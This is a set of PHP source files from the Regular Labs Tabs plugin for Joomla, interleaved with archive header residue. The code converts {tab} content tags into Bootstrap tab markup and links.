 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use RegularLabs\Library\Document as RL_Document;

class Document
{
    public static function loadStylesAndScripts()
    {
        // do not load scripts/styles on feeds or print pages
        if (RL_Document::isFeed() || JFactory::getApplication()->input->getInt('print', 0))
        {
            return;
        }

        $params = Params::get();

        if ( ! $params->load_bootstrap_framework && $params->load_jquery)
        {
            JHtml::_('jquery.framework');
        }

        if ($params->load_bootstrap_framework)
        {
            JHtml::_('bootstrap.framework');
        }


        $options = [
            'use_hash'                => (int) $params->use_hash,
            'reload_iframes'          => (int) $params->reload_iframes,
            'init_timeout'            => (int) $params->init_timeout,
            'urlscroll'               => 0,
        ];

        RL_Document::scriptOptions($options, 'Tabs');

        RL_Document::script('tabs/script.min.js', ($params->media_versioning ? '8.3.1' : ''), [], [], $params->load_jquery);

        if ($params->load_stylesheet)
        {
            RL_Document::stylesheet('tabs/style.min.css', ($params->media_versioning ? '8.3.1' : ''));
        }

    }

    public static function removeHeadStuff(&$html)
    {
        // Don't remove if tabs class is found
        if (strpos($html, 'class="rl_tabs-tab') !== false)
        {
            return;
        }

        // remove style and script if no items are found
        RL_Document::removeScriptsStyles($html, 'Tabs');
        RL_Document::removeScriptsOptions($html, 'Tabs');
    }
}
PK�(]����$y$ysystem/tabs/src/Replace.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\Alias as RL_Alias;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\HtmlTag as RL_HtmlTag;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\Protect as RL_Protect;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;
use RegularLabs\Library\Title as RL_Title;
use RegularLabs\Library\Uri as RL_Uri;

class Replace
{

    static $allitems = [];
    static $context  = '';
    static $ids      = [];
    static $matches  = [];
    static $setcount = 0;
    static $sets     = [];

    public static function getSets(&$string, $only_basic_details = false)
    {
        $regex = Params::getRegex();

        RL_RegEx::matchAll($regex, $string, $matches);

        if (empty($matches))
        {
            return [];
        }

        self::$sets = [];
        $set_ids    = [];


        foreach ($matches as $match)
        {
            if (substr($match['tag'], 0, 1) == '/')
            {
                if (empty($set_ids))
                {
                    continue;
                }

                $set_id = key($set_ids);

                array_pop($set_ids);

                if (empty($set_id))
                {
                    continue;
                }

                self::$sets[$set_id][0]->ending = $match[0];

                continue;
            }

            end($set_ids);

            $item = self::getSetItem($match, $set_ids, $only_basic_details);

            if ($only_basic_details)
            {
                if ( ! isset(self::$sets['basic']))
                {
                    self::$sets['basic'] = [];
                }

                self::$sets['basic'][] = $item;
                continue;
            }


            if ( ! isset(self::$sets[$item->set]))
            {
                self::$sets[$item->set] = [];
            }

            self::$sets[$item->set][] = $item;
        }


        return self::$sets;
    }

    public static function replaceTags(&$string, $area = 'article', $context = '')
    {
        if ( ! is_string($string) || $string == '')
        {
            return false;
        }

        self::$context = $context;

        // Check if tags are in the text snippet used for the search component
        if (strpos($context, 'com_search.') === 0)
        {
            $limit = explode('.', $context, 2);
            $limit = (int) array_pop($limit);

            $string_check = substr($string, 0, $limit);

            if ( ! RL_String::contains($string_check, Params::getTags(true)))
            {
                return false;
            }
        }

        $params = Params::get();

        // allow in component?
        if (RL_Protect::isRestrictedComponent($params->disabled_components ?? [], $area))
        {

            Protect::_($string);

            self::handlePrintPage($string);

            RL_Protect::unprotect($string);

            return true;
        }

        if ( ! RL_String::contains($string, Params::getTags(true)))
        {
            // Links with #tab-name or &tab=tab-name
            self::replaceLinks($string);

            return true;
        }

        Protect::_($string);

        [$start_tags, $end_tags] = Params::getTags();

        [$pre_string, $string, $post_string] = RL_Html::getContentContainingSearches(
            $string,
            $start_tags,
            $end_tags
        );

        if (JFactory::getApplication()->input->getInt('print', 0))
        {
            // Replace syntax with general html on print pages
            self::handlePrintPage($string);

            $string = $pre_string . $string . $post_string;

            RL_Protect::unprotect($string);

            return true;
        }

        $sets = self::getSets($string);
        self::initSets($sets);

        // Tag syntax: {tab ...}
        self::replaceSyntax($string, $sets);

        // Closing tag: {/tab}
        self::replaceClosingTag($string);

        // Links with #tab-name or &tab=tab-name
        self::replaceLinks($string);

        // Link tag {tablink ...}
        self::replaceLinkTag($string);

        $string = $pre_string . $string . $post_string;

        RL_Protect::unprotect($string);

        return true;
    }

    private static function addChildToParent($item)
    {
        if (empty($item->parent))
        {
            return;
        }

        [$parent_set, $parent_item] = $item->parent;

        if (empty(self::$sets[$parent_set]) || empty(self::$sets[$parent_set][$parent_item]))
        {
            return;
        }

        self::$sets[$parent_set][$parent_item]->children[] = $item->set;
    }

    private static function addClassBySetting($item, &$classes, $setting = '')
    {
        if (
            (empty($item->{$setting}) && empty(Params::get()->{$setting}))
            || (isset($item->{$setting}) && ! $item->{$setting})
        )
        {
            return;
        }

        $classes[] = $setting;
    }

    private static function addClassesBySettings($item, &$classes, $settings = [])
    {
        foreach ($settings as $setting)
        {
            self::addClassBySetting($item, $classes, $setting);
        }
    }

    private static function createId($alias)
    {
        $id = $alias;

        $i = 1;
        while (in_array($id, self::$ids))
        {
            $id = $alias . '-' . ++$i;
        }

        self::$ids[] = $id;

        return $id;
    }

    private static function findItemByMatch($id)
    {
        foreach (self::$allitems as $item)
        {
            if ( ! in_array($id, $item->matches))
            {
                continue;
            }

            return $item->id;
        }

        return false;
    }

    private static function getAccessLevels()
    {
        if ( ! is_null(self::$accesslevels))
        {
            return self::$accesslevels;
        }

        $user   = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();
        $levels = $user->getAuthorisedViewLevels();

        $db = JFactory::getDbo();

        $query = $db->getQuery(true)
            ->select('LOWER(REPLACE(a.title, " ", ""))')
            ->from('#__viewlevels as a')
            ->where('a.id IN (\'' . implode('\',\'', $levels) . '\')');
        $db->setQuery($query);

        self::$accesslevels = $db->loadColumn();

        return self::$accesslevels;
    }

    private static function getItemClass($item, $mainclass = 'rl_tabs-tab nn_tabs-tab nav-item')
    {
        // nav-item used for Boootstrap 4
        $class = [$mainclass];

        if ($item->open)
        {
            $class[] = 'active';
        }

        if ( ! empty($item->mode))
        {
            $class[] = $item->mode == 'hover' ? 'hover' : 'click';
        }

        $class[] = trim($item->class);

        return trim(implode(' ', $class));
    }

    private static function getLinkAttributes($id)
    {
        return 'href="' . RL_Uri::get($id) . '"'
            . ' class="rl_tabs-link rl_tabs-link-' . $id . ' nn_tabs-link nn_tabs-link-' . $id . '"'
            . ' data-id="' . $id . '"';
    }

    private static function getMainClasses($item)
    {
        $params = Params::get();

        $classes = [
            'rl_tabs nn_tabs',
            $params->mainclass,
        ];

        if ( ! empty($item->mainclass))
        {
            $classes[] = $item->mainclass;
        }

        if ( ! empty($item->nooutline))
        {
            $item->outline_handles = false;
            $item->outline_content = false;
        }

        if ( ! empty($item->outline_handles) || ! empty($item->outline_content))
        {
            $item->nooutline = false;
        }

        $settings = [
            'nooutline',
            'outline_handles',
            'outline_content',
            'color_inactive_handles',
        ];
        self::addClassesBySettings($item, $classes, $settings);

        $align = isset($item->align) ? 'align_' . $item->align : Params::getAlignment();
        $position = 'top';

        $classes[] = $position;
        $classes[] = $align;

        $classes = array_diff($classes, ['']);

        return trim(implode(' ', $classes));
    }

    private static function getNav(&$items)
    {
        $html = [];

        $ul_extra = '';

        // Nav for non-mobile view
        $html[] = '<!--googleoff: index-->';
        $html[] = '<a id="rl_tabs-scrollto_' . $items[0]->set . '" class="anchor rl_tabs-scroll nn_tabs-scroll"></a>';
        $html[] = '<ul class="nav nav-tabs" id="set-rl_tabs-' . $items[0]->set . '" role="tablist"' . $ul_extra . '>';
        foreach ($items as $item)
        {
            $href            = '#' . $item->id;
            $title           = $item->title_full;
            $link_attributes = ' id="tab-' . $item->id . '"'
                . ' data-toggle="tab" data-id="' . $item->id . '"'
                . ' role="tab" aria-controls="' . $item->id . '"'
                . ' aria-selected="' . ($item->open ? 'true' : 'false') . '"';

            $class = 'rl_tabs-toggle nn_tabs-toggle';

            // nav-link used for Boootstrap 4
            $class .= ' nav-link';


            $onclick = '';

            $heading_attributes = '';

            if ( ! empty($item->heading_attributes))
            {
                $heading_attributes .= ' ' . $item->heading_attributes;
            }

            if ($item->haslink)
            {
                if (RL_RegEx::match('<a [^>]*href="(.*?)"', $title, $match))
                {
                    $href = $match[1];
                }

                // nav-link used for Boootstrap 4
                $class = 'rl_tabs-link nav-link';

                if (RL_RegEx::match('<a [^>]*class="(.*?)"', $title, $match))
                {
                    $class = trim($class . ' ' . $match[1]);
                }

                $link_attributes = '';

                if (RL_RegEx::match('<a ([^>]*)', $title, $match))
                {
                    $link_attributes = $match[1];
                    $link_attributes = trim(RL_RegEx::replace('(href|class)=".*?"', '', $link_attributes));
                }

                if ( ! empty($item->link_attributes))
                {
                    $link_attributes .= ' ' . $item->link_attributes;
                }

                $title = RL_RegEx::replace('<a .*?>(.*?)</a>', '\1', $title);
            }

            $link_title = $title !== $item->title
                ? ' title="' . htmlspecialchars($item->title) . '"'
                : '';

            $html[] = '<li class="' . self::getItemClass($item) . '" ' . $heading_attributes . '>'
                . '<a href="' . $href . '" class="' . $class . '"' . $link_title . $onclick . $link_attributes . '>'
                . '<span class="rl_tabs-toggle-inner nn_tabs-toggle-inner">'
                . $title
                . '</span>'
                . '</a>'
                . '</li>';
        }

        $html[] = '</ul>';
        $html[] = '<!--googleon: index-->';

        return implode("\n", $html);
    }

    /* <<< [PRO] <<< */

    private static function getParent($set_id, $level)
    {
        if (empty(self::$sets))
        {
            return false;
        }

        if (isset(self::$sets[$set_id]))
        {
            return self::$sets[$set_id][0]->parent;
        }

        reset(self::$sets);

        $previous_set   = current(self::$sets);
        $previous_level = $previous_set[0]->level;

        while ($previous_level >= $level)
        {
            $previous_set = prev(self::$sets);

            if (empty($previous_set))
            {
                end(self::$sets);

                return false;
            }

            $previous_level = $previous_set[0]->level;
        }

        end(self::$sets);
        end($previous_set);

        $parent_item = key($previous_set);

        return [$previous_set[$parent_item]->set, $parent_item];
    }

    private static function getPreHtml($item, $items, $first = 0)
    {
        if ( ! $first)
        {
            return '</div>';
        }

        $params = Params::get();
        $class  = self::getMainClasses($item);


        $html[] = '<div class="' . trim($class) . '" role="presentation">';
        $html[] = self::getNav($items);
        $html[] = '<div class="tab-content">';

        return implode("\n", $html);
    }

    private static function getResponsiveNav(&$items)
    {
    }

    private static function getSetItem($match, &$set_ids, $only_basic_details = false)
    {
        $item = (object) [];

        // Set the values from the tag
        $tag = RL_Title::clean($match['data'], false, false);
        self::setTagAttributes($item, $tag);

        if ($only_basic_details)
        {
            return $item;
        }

        $item->orig   = $match[0];
        $item->set_id = trim(str_replace('-', '_', $match['set_id']));

        // New set
        if (empty($set_ids) || current($set_ids) != $item->set_id)
        {
            self::$setcount++;
            $set_ids[self::$setcount . '.' . $item->set_id] = $item->set_id;
        }

        $item->set = array_search($item->set_id, array_reverse($set_ids));

        $item->level = self::getSetLevel($item->set, $set_ids);


        [$item->pre, $item->post] = RL_Html::cleanSurroundingTags(
            [$match['pre'], $match['post']],
            ['div', 'p', 'span', 'h[0-6]']
        );

        return $item;
    }

    private static function getSetLevel($set_id, $set_ids)
    {
        // Sets are still empty, so this is the first set
        if (empty(self::$sets))
        {
            return 1;
        }

        // Grab the level from the previous entry of this set
        if (isset(self::$sets[$set_id]))
        {
            return self::$sets[$set_id][0]->level;
        }

        // Look up the level of the previous set
        $previous_set_id = array_search(prev($set_ids), array_reverse($set_ids));

        // Grab the level from the previous entry of this set
        if (isset(self::$sets[$previous_set_id]))
        {
            return self::$sets[$previous_set_id][0]->level + 1;
        }

        return 1;
    }

    private static function getTagAttributes($string)
    {
        RL_PluginTag::protectSpecialChars($string);

        $is_old_syntax = (strpos($string, '|') !== false);

        if ($is_old_syntax)
        {
            // Fix some different old syntaxes
            $string = str_replace(
                [
                    '|alias:',
                    '|align_',
                ],
                [
                    '|alias=',
                    '|align=',
                ],
                $string
            );
        }

        RL_PluginTag::unprotectSpecialChars($string, true);

        $known_boolean_keys = [
            'open', 'active', 'opened', 'default',
            'scroll', 'noscroll',
            'nooutline', 'outline_handles', 'outline_content', 'color_inactive_handles',
        ];

        // Get the values from the tag
        $attributes = RL_PluginTag::getAttributesFromString($string, 'title', $known_boolean_keys);

        $key_aliases = [
            'title'              => ['name'],
            'title-opened'       => ['title-open', 'title-active'],
            'title-closed'       => ['title-close', 'title-inactive'],
            'open'               => ['active', 'opened', 'default'],
            'access'             => ['accesslevels', 'accesslevel'],
            'usergroup'          => ['usergroups', 'group', 'groups'],
            'position'           => ['positioning'],
            'align'              => ['alignment'],
            'heading_attributes' => ['li_attributes'],
            'link_attributes'    => ['a_attributes'],
            'body_attributes'    => ['content_attributes'],
        ];

        RL_PluginTag::replaceKeyAliases($attributes, $key_aliases);

        if ($is_old_syntax)
        {
            self::setPositionFromOldClasses($attributes);
        }

        return $attributes;
    }

    private static function getUserGroups()
    {
    }

    private static function handlePrintPage(&$string)
    {
        $sets = self::getSets($string);
        self::initSets($sets);

        $prefix = '';
        foreach ($sets as $items)
        {
            foreach ($items as $item)
            {
                $class = 'rl_tabs-print';

                if ($item->open)
                {
                    $class .= ' active';
                }

                $replace = $prefix . '<div id="' . $item->id . '" class="' . $class . '">'
                    . '<' . $item->title_tag . ' class="rl_tabs-title nn_tabs-title">'
                    . '<a id="anchor-' . $item->id . '" class="anchor"></a>'
                    . $item->title_full
                    . '</' . $item->title_tag . '>';

                $string = RL_String::replaceOnce($item->orig, $replace, $string);
                $prefix = '</div>';
            }
        }

        $regex = Params::getRegex('end');

        RL_RegEx::matchAll($regex, $string, $matches);

        $replace = '</div>';
        foreach ($matches as $match)
        {
            $string  = RL_String::replaceOnce($match[0], $replace, $string);
            $replace = '';
        }

        $regex = Params::getRegex('link');

        RL_RegEx::matchAll($regex, $string, $matches);

        foreach ($matches as $match)
        {
            $href   = RL_Uri::get($match['id']);
            $link   = '<a href="' . $href . '">' . $match['text'] . '</a>';
            $string = RL_String::replaceOnce($match[0], $link, $string);
        }
    }

    private static function hasAccess($item)
    {
    }

    private static function hasAccessByList($levels, $list)
    {
    }

    private static function initSets(&$sets)
    {
        $params = Params::get();

        $urlitem   = JFactory::getApplication()->input->get('tab');
        $itemcount = 0;

        foreach ($sets as $set_id => $items)
        {
            $opened_by_default = 0;


            foreach ($items as $i => $item)
            {
                $item->title      = trim($item->title ?? 'Tab');
                $item->title_full = $item->title;

                if (isset($item->{'title-opened'}) || isset($item->{'title-closed'}))
                {
                    $title_closed = $item->{'title-closed'} ?? $item->title;
                    $title_opened = $item->{'title-opened'} ?? $item->title;

                    // Set main title to the title-opened, otherwise to title-closed
                    $item->title = $title_opened ?: ($title_closed ?: $item->title);

                    // place the title-opened and title-closed in css controlled spans
                    $item->title_full = '<span class="rl_tabs-title-inactive nn_tabs-title-inactive">' . $title_closed . '</span>'
                        . '<span class="rl_tabs-title-active nn_tabs-title-active">' . $title_opened . '</span>';
                }

                $item->haslink = RL_RegEx::match('<a [^>]*>.*?</a>', $item->title);

                $item->title = RL_Title::clean($item->title, true);
                $item->title = $item->title ?: RL_HtmlTag::getAttributeValue('title', $item->title_full);
                $item->title = $item->title ?: RL_HtmlTag::getAttributeValue('alt', $item->title_full);

                $item->alias = RL_Alias::get($item->alias ?? $item->title);
                $item->alias = $item->alias ?: 'tab';

                $item->id    = self::createId($item->alias);
                $item->set   = (int) $set_id;
                $item->count = $i + 1;


                $set_keys = [
                    'class', 'open', 'output_title_tag', 'title_tag', 'onclick',
                ];
                foreach ($set_keys as $key)
                {
                    $item->{$key} = isset($item->{$key})
                        ? $item->{$key}
                        : ($params->{$key} ?? '');
                }

                $item->matches   = RL_Title::getUrlMatches([$item->id, $item->title]);
                $item->matches[] = ++$itemcount . '';
                $item->matches[] = $item->set . '.' . ($i + 1);
                $item->matches[] = $item->set . '-' . ($i + 1);

                $item->matches = array_unique($item->matches);
                $item->matches = array_diff($item->matches, self::$matches);
                self::$matches = array_merge(self::$matches, $item->matches);

                if (self::itemIsOpen($item, $urlitem, $i == 0))
                {
                    $opened_by_default = $i;
                }

                // Will be set after all items are checked based on the $opened_by_default id
                $item->open = false;

                $sets[$set_id][$i] = $item;
                self::$allitems[]  = $item;
            }

            self::setOpenItem($sets[$set_id], $opened_by_default);
        }
    }

    private static function itemIsOpen($item, $urlitem, $is_first = false)
    {

        if ($item->haslink)
        {
            return false;
        }

        if ( ! empty($item->close))
        {
            return false;
        }

        if (isset($item->open))
        {
            return $item->open;
        }

        if ($urlitem && in_array($urlitem, $item->matches))
        {
            return true;
        }

        if ($is_first)
        {
            return true;
        }

        return false;
    }

    private static function removeByAccess(&$string)
    {
    }

    private static function replaceAnchorLinks(&$string)
    {
        RL_RegEx::matchAll(
            '(?<link><a\s[^>]*href="(?<url>([^"]*)?)\#(?<id>[^"]*)"[^>]*>)(?<text>.*?)</a>',
            $string,
            $matches
        );

        if (empty($matches))
        {
            return;
        }

        self::replaceLinksMatches($string, $matches);
    }

    private static function replaceClosingTag(&$string)
    {
        $params = Params::get();
        $regex  = Params::getRegex('end');

        RL_RegEx::matchAll($regex, $string, $matches);

        if (empty($matches))
        {
            return;
        }

        foreach ($matches as $match)
        {
            $html = '</div></div></div>';


            if ($params->place_comments)
            {
                $html .= Protect::getCommentEndTag();
            }

            [$pre, $post] = RL_Html::cleanSurroundingTags([$match['pre'], $match['post']]);

            $html = $pre . $html . $post;

            $string = RL_String::replaceOnce($match[0], $html, $string);
        }
    }

    private static function replaceLinkTag(&$string)
    {
        $regex = Params::getRegex('link');

        RL_RegEx::matchAll($regex, $string, $matches);

        if (empty($matches))
        {
            return;
        }

        foreach ($matches as $match)
        {
            self::replaceLinkTagMatch($string, $match);
        }
    }

    private static function replaceLinkTagMatch(&$string, $match)
    {
        $params = Params::get();

        $id = RL_Alias::get($match['id']);

        if ( ! self::stringHasItem($string, $id))
        {
            $id_by_name = self::findItemByMatch($match['id']);
            $id_by_id   = self::findItemByMatch($id);
            $id         = $id_by_name ?: ($id_by_id ?: $id);
        }

        if ( ! self::stringHasItem($string, $id))
        {
            $html = '<a href="' . RL_Uri::get($id) . '">' . $match['text'] . '</a>';

            if ($params->place_comments)
            {
                $html = Protect::wrapInCommentTags($html);
            }

            $string = RL_String::replaceOnce($match[0], $html, $string);

            return;
        }

        $html = '<a ' . self::getLinkAttributes($id) . '>'
            . '<span class="rl_tabs-link-inner nn_tabs-link-inner">' . $match['text'] . '</span>'
            . '</a>';

        if ($params->place_comments)
        {
            $html = Protect::wrapInCommentTags($html);
        }

        $string = RL_String::replaceOnce($match[0], $html, $string);
    }

    private static function replaceLinks(&$string)
    {
        // Links with #tab-name
        self::replaceAnchorLinks($string);
        // Links with &tab=tab-name
        self::replaceUrlLinks($string);
    }

    private static function replaceLinksMatches(&$string, $matches)
    {
        $uri            = JUri::getInstance();
        $current_urls   = [];
        $current_urls[] = $uri->toString(['path']);
        $current_urls[] = $uri->toString(['scheme', 'host', 'path']);
        $current_urls[] = $uri->toString(['scheme', 'host', 'port', 'path']);

        foreach ($matches as $match)
        {
            $link = $match['link'];

            if (
                strpos($link, 'data-toggle=') !== false
                || strpos($link, 'onclick=') !== false
                || strpos($link, 'rl_tabs-toggle-sm') !== false
                || strpos($link, 'rl_tabs-link') !== false
                || strpos($link, 'rl_sliders-link') !== false
            )
            {
                continue;
            }

            $url = $match['url'];
            if (strpos($url, 'index.php/') === 0)
            {
                $url = '/' . $url;
            }

            if (strpos($url, 'index.php') === 0)
            {
                $url = JRoute::_($url);
            }

            if ($url != '' && ! in_array($url, $current_urls))
            {
                continue;
            }

            $id = $match['id'];

            if ( ! self::stringHasItem($string, $id))
            {
                // This is a link to a normal anchor or other element on the page
                // Remove the prepending obsolete url and leave the hash
                // $string = str_replace('href="' . $match['url'] . '#' . $id . '"', 'href="#' . $id . '"', $string);

                continue;
            }

            $attributes = self::getLinkAttributes($id);

            // Combine attributes with original
            $attributes = RL_HtmlTag::combineAttributes($link, $attributes);

            $html = '<a ' . $attributes . '><span class="rl_tabs-link-inner nn_tabs-link-inner">' . $match['text'] . '</span></a>';

            $string = str_replace($match[0], $html, $string);
        }
    }

    private static function replaceSyntax(&$string, $sets)
    {
        $regex = Params::getRegex('end');

        if ( ! RL_RegEx::match($regex, $string))
        {
            return;
        }

        foreach ($sets as $items)
        {
            self::replaceSyntaxItemList($string, $items);
        }
    }

    private static function replaceSyntaxItem(&$string, $item, $items, $first = 0)
    {
        if (strpos($string, $item->orig) === false)
        {
            return;
        }

        $params = Params::get();

        $html   = [];
        $html[] = $item->post;
        $html[] = $item->pre;

        if ($first && $params->place_comments)
        {
            $html[] = Protect::getCommentStartTag();
        }

        if ( ! in_array(self::$context, ['com_search.search', 'com_search.search.article', 'com_finder.indexer']))
        {
            $html[] = self::getPreHtml($item, $items, $first);
        }

        $class = self::getItemClass($item, 'tab-pane rl_tabs-pane nn_tabs-pane');

        $body_attributes = 'role="tabpanel"'
            . ' aria-labelledby="tab-' . $item->id . '"';
        if ( ! $item->open)
        {
            $body_attributes .= ' hidden="hidden"';
        }
        if ( ! empty($item->body_attributes))
        {
            $body_attributes .= ' ' . $item->body_attributes;
        }

        $html[] = '<div class="' . trim($class) . '" id="' . $item->id . '" ' . $body_attributes . '>';

        if ( ! $item->haslink)
        {
            if ($item->output_title_tag)
            {
                $html[] = '<' . $item->title_tag . ' class="rl_tabs-title nn_tabs-title">';
            }

            $class = 'anchor';

            $html[] = '<a id="anchor-' . $item->id . '" class="' . $class . '"></a>';

            if ($item->output_title_tag)
            {
                $html[] = $item->title . '</' . $item->title_tag . '>';
            }
        }

        $html = implode("\n", $html);

        $string = RL_String::replaceOnce($item->orig, $html, $string);
    }

    private static function replaceSyntaxItemList(&$string, $items)
    {
        $first = key($items);
        end($items);

        foreach ($items as $i => &$item)
        {
            self::replaceSyntaxItem($string, $item, $items, ($i == $first));
        }
    }

    private static function replaceUrlLinks(&$string)
    {
        RL_RegEx::matchAll(
            '(?<link><a\s[^>]*href="(?<url>[^"]*)(?:\?|&(?:amp;)?)tab=(?<id>[^"\#&]*)(?:\#[^"]*)?"[^>]*>)(?<text>.*?)</a>',
            $string,
            $matches
        );

        if (empty($matches))
        {
            return;
        }

        self::replaceLinksMatches($string, $matches);
    }

    private static function setOpenItem(&$items, $opened_by_default = 0)
    {
        $opened_by_default = (int) $opened_by_default;

        while (isset($items[$opened_by_default]) && $items[$opened_by_default]->haslink)
        {
            $opened_by_default++;
        }

        if ( ! isset($items[$opened_by_default]))
        {
            return;
        }

        $items[$opened_by_default]->open = true;
    }

    private static function setPositionFromOldClasses(&$values)
    {
        if (empty($values->class) || ! empty($values->position))
        {
            return;
        }

        $classes   = explode(' ', $values->class);
        $positions = ['top', 'bottom', 'left', 'right'];
        $found     = array_intersect($classes, $positions);

        if (empty($found))
        {
            return;
        }

        $position = array_shift($found);

        $classes = array_diff($classes, [$position]);

        $values->class    = implode(' ', $classes);
        $values->position = $position;
    }

    private static function setTagAttributes(&$item, $string)
    {
        $values = self::getTagAttributes($string);

        $item = (object) array_merge((array) $item, (array) $values);
    }

    private static function stringHasItem(&$string, $id)
    {
        return (strpos($string, 'data-toggle="tab" data-id="' . $id . '"') !== false);
    }
}
PK�(]�GPg��system/tabs/src/Params.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\System\Tabs;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\ParametersNew as RL_Parameters;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\Uri as RL_Uri;

class Params
{
    protected static $params  = null;
    protected static $regexes = null;

    public static function get()
    {
        if ( ! is_null(self::$params))
        {
            return self::$params;
        }

        $params = RL_Parameters::getPlugin('tabs');

        $params->tag_open  = RL_PluginTag::clean($params->tag_open);
        $params->tag_close = RL_PluginTag::clean($params->tag_close);

        $params->tag_link ??= 'tablink';
        $params->tag_link = RL_PluginTag::clean($params->tag_link);

        $params->use_responsive_view = false;

        self::$params = $params;

        return self::$params;
    }

    public static function getAlignment()
    {
        $params = self::get();


        if ( ! $params->alignment)
        {
            $params->alignment = JFactory::getLanguage()->isRTL() ? 'right' : 'left';
        }

        return 'align_' . $params->alignment;
    }

    public static function getPositioning()
    {


        return 'top';
    }

    public static function getRegex($type = 'tag')
    {
        $regexes = self::getRegexes();

        return $regexes->{$type} ?? $regexes->tag;
    }

    public static function getTagCharacters()
    {
        if ( ! isset(self::$params->tag_character_start))
        {
            self::setTagCharacters();
        }

        return [self::$params->tag_character_start, self::$params->tag_character_end];
    }

    public static function getTags($only_start_tags = false)
    {
        $params = self::get();

        [$tag_start, $tag_end] = self::getTagCharacters();

        $tags = [
            [
                $tag_start . $params->tag_open,
                $tag_start . $params->tag_link,
            ],
            [
                $tag_start . '/' . $params->tag_close . $tag_end,
                $tag_start . '/' . $params->tag_link . $tag_end,
            ],
        ];

        return $only_start_tags ? $tags[0] : $tags;
    }

    public static function setTagCharacters()
    {
        $params = self::get();

        [self::$params->tag_character_start, self::$params->tag_character_end] = explode('.', $params->tag_characters);
    }

    private static function getRegexes()
    {
        if ( ! is_null(self::$regexes))
        {
            return self::$regexes;
        }

        $params = self::get();

        // Tag character start and end
        [$tag_start, $tag_end] = self::getTagCharacters();

        $pre        = RL_PluginTag::getRegexSurroundingTagsPre();
        $post       = RL_PluginTag::getRegexSurroundingTagsPost();
        $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end);

        $tag_start = RL_RegEx::quote($tag_start);
        $tag_end   = RL_RegEx::quote($tag_end);

        $delimiter = ($params->tag_delimiter == 'space') ? RL_PluginTag::getRegexSpaces() : '=';
        $set_id    = '(?:-[a-zA-Z0-9-_]+)?';

        self::$regexes = (object) [];

        self::$regexes->tag =
            '(?<pre>' . $pre . ')'
            . $tag_start . '(?<tag>'
            . $params->tag_open . 's?' . '(?<set_id>' . $set_id . ')' . $delimiter . '(?<data>' . $inside_tag . ')'
            . '|/' . $params->tag_close . $set_id
            . ')' . $tag_end
            . '(?<post>' . $post . ')';

        self::$regexes->end =
            '(?<pre>' . $pre . ')'
            . $tag_start . '/' . $params->tag_close . $set_id . $tag_end
            . '(?<post>' . $post . ')';

        self::$regexes->link =
            $tag_start . $params->tag_link . $set_id . $delimiter . '(?<id>' . $inside_tag . ')' . $tag_end
            . '(?<text>.*?)'
            . $tag_start . '/' . $params->tag_link . $tag_end;

        return self::$regexes;
    }
}
PK�(]����system/tabs/vendor/autoload.phpnu�[���<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit984a5d895b21919c58702468b682d755::getLoader();
PK�(]9p����)system/tabs/vendor/composer/installed.phpnu�[���<?php return array(
    'root' => array(
        'pretty_version' => 'dev-main',
        'version' => 'dev-main',
        'type' => 'library',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'reference' => '1005f7331037063170ca4f1a6861984f9b932586',
        'name' => '__root__',
        'dev' => true,
    ),
    'versions' => array(
        '__root__' => array(
            'pretty_version' => 'dev-main',
            'version' => 'dev-main',
            'type' => 'library',
            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'reference' => '1005f7331037063170ca4f1a6861984f9b932586',
            'dev_requirement' => false,
        ),
    ),
);
PK�(]t�!ו�3system/tabs/vendor/composer/autoload_namespaces.phpnu�[���<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
);
PK�(]���EE*system/tabs/vendor/composer/installed.jsonnu�[���{
    "packages": [],
    "dev": true,
    "dev-package-names": []
}
PK�(]���NN/system/tabs/vendor/composer/autoload_static.phpnu�[���<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit984a5d895b21919c58702468b682d755
{
    public static $prefixLengthsPsr4 = array (
        'R' => 
        array (
            'RegularLabs\\Plugin\\System\\Tabs\\' => 31,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'RegularLabs\\Plugin\\System\\Tabs\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit984a5d895b21919c58702468b682d755::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit984a5d895b21919c58702468b682d755::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit984a5d895b21919c58702468b682d755::$classMap;

        }, null, ClassLoader::class);
    }
}
